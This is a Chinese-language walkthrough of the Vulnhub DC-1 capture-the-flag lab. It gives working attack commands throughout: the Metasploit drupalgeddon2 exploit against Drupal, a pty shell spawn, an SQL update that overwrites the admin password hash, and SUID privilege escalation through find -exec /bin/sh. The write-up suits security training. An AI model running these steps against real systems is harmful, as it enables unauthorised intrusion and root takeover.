Vulnhub靶机渗透测试实战——DC-1
一、实验环境
攻击机(kali): 192.168.189.148
靶机(ubuntu): 192.168.189.172]
二、信息收集
1、使用nmap扫描进行主机发现
nmap 192.168.189.0/24
2、发现IP为192.168.189.172主机开放80和22等端口,访问其80端口
三、漏洞利用
1、发现该站点是由Drupal搭建,利用msf进行漏洞利用
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.189.172
run
2、成功收到会话
3、ls查看文件发现flag1
meterpreter > cat flag1.txt
Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也是。
4、根据flag1提示我们可能需要找到配置文件
(这里我以为是config文件,找了好久无果,最终在/var/www/sites/default目录下找到数据库配置文件)
在这之前我们需要利用python创建一个特定的会话
python -c 'import pty; pty.spawn("/bin/bash")'
cd /var/www/sites/default
cat settings.php
5、在settings.php文件中找到flag2,并拿到了数据库账号密码
flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(你需要访问权限)。
*你能用这些证书做什么?
6、根据flag2的提示(暴力和字典攻击不是最常见的)我们不能对密码进行爆破(这里指刚才80端口的登录界面),并且后面会需要我们提权(你需要访问权限),但是第三条提示(证书)就有点不懂了。
在之前我们获得了数据库的账号密码,所以这里先登录数据库看看能不能获取到网站的登录账号和密码。
7、我们在users表中找到了网站登录账号密码,但密码是加密的,既然我们登录了数据库,那我们可以将密码进行修改
12345 的 hash为$S$DohTICOZ8bvpnl7UP3RqHB55yda4e7RyHzFmzdExbY1fiOw2x8IL
将密码修改为12345
update drupaldb.users set pass="$S$DohTICOZ8bvpnl7UP3RqHB55yda4e7RyHzFmzdExbY1fiOw2x8IL" where name="admin";
8、我们用修改过的密码登录网站,找到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的烫发将有助于找到passwd,但您需要执行该命令,以确定如何获取阴影中的内容。
9、根据flag3提示我们需要执行 -exec命令,这让我想到了SUID提权,我们回到msf中,在home目录下发现flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
您可以使用同样的方法在根目录中查找或访问标志吗?
可能但也许没那么容易。也许是吧?
四、权限提升
1、根据flag4提示找到一个标志,这不就是SUID提权么?
其实这里我先利用脚本去寻找可利用的提权漏洞,但是均以失败告终
贴个失败的图吧
2、利用SUID提权
find / -type f -perm -u=s 2>/dev/null
3、利用find命令进行提权,最终拿到root权限,获得最终的flag
touch getflag
find / -type f -name getflag -exec "whoami" \;
find / -type f -name getflag -exec "/bin/sh" \;
总结
这个靶场总体来说是比较简单的,涉及到的东西也很多,需要跟着提示一个一个去找flag,还是比较有趣的。